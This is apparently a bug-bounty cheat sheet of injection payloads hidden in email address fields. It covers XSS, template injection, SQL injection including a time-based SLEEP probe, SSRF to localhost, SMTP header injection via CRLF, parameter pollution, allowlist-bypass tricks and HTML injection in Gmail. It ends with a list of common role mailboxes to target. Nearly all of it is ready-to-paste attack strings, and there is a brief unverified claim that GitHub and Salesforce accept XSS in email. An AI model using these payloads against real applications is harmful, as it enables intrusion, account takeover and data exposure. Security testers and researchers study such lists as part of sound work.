Email attacks

Attack	Payload
XSS	test+(alert(0))@example.com test@example(alert(0)).com "alert(0)"@example.com <script src=//xsshere?”@email.com
Template injection	"<%= 7 * 7 %>"@example.com test+(${{7*7}})@example.com
SQLi	"' OR 1=1 -- '"@example.com "mail'); SELECT version();--"@example.com a'-IF(LENGTH(database())=9,SLEEP(7),0)or'1'='1\"@a.com
SSRF	[e-mail] john.doe@[127.0.0.1]
Parameter Pollution	victim&email=[e-mail]
(Email) Header Injection	"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com "[e-mail]>\r\nRCPT TO:<victim+"@test.com
Wildcard abuse	[e-mail]

# Bypass whitelist
inti(;[e-mail];)@whitelisted.com
[e-mail](@whitelisted.com)
inti+(@whitelisted.com;)@inti.io

#HTML Injection in Gmail
inti.de.ceukelaire+(<b>bold<u>underline<s>strike<br/>newline<strong>strong<sup>sup<sub>sub)@gmail.com

# Bypass strict validators
# Login with SSO & integrations
GitHub & Salesforce allow xss in email, create account and abuse with login integration

# Common email accounts
support@
jira@
print@
feedback@
asana@
slack@
hello@
bug(s)@
upload@
service@
it@
test@
help@
tickets@
tweet@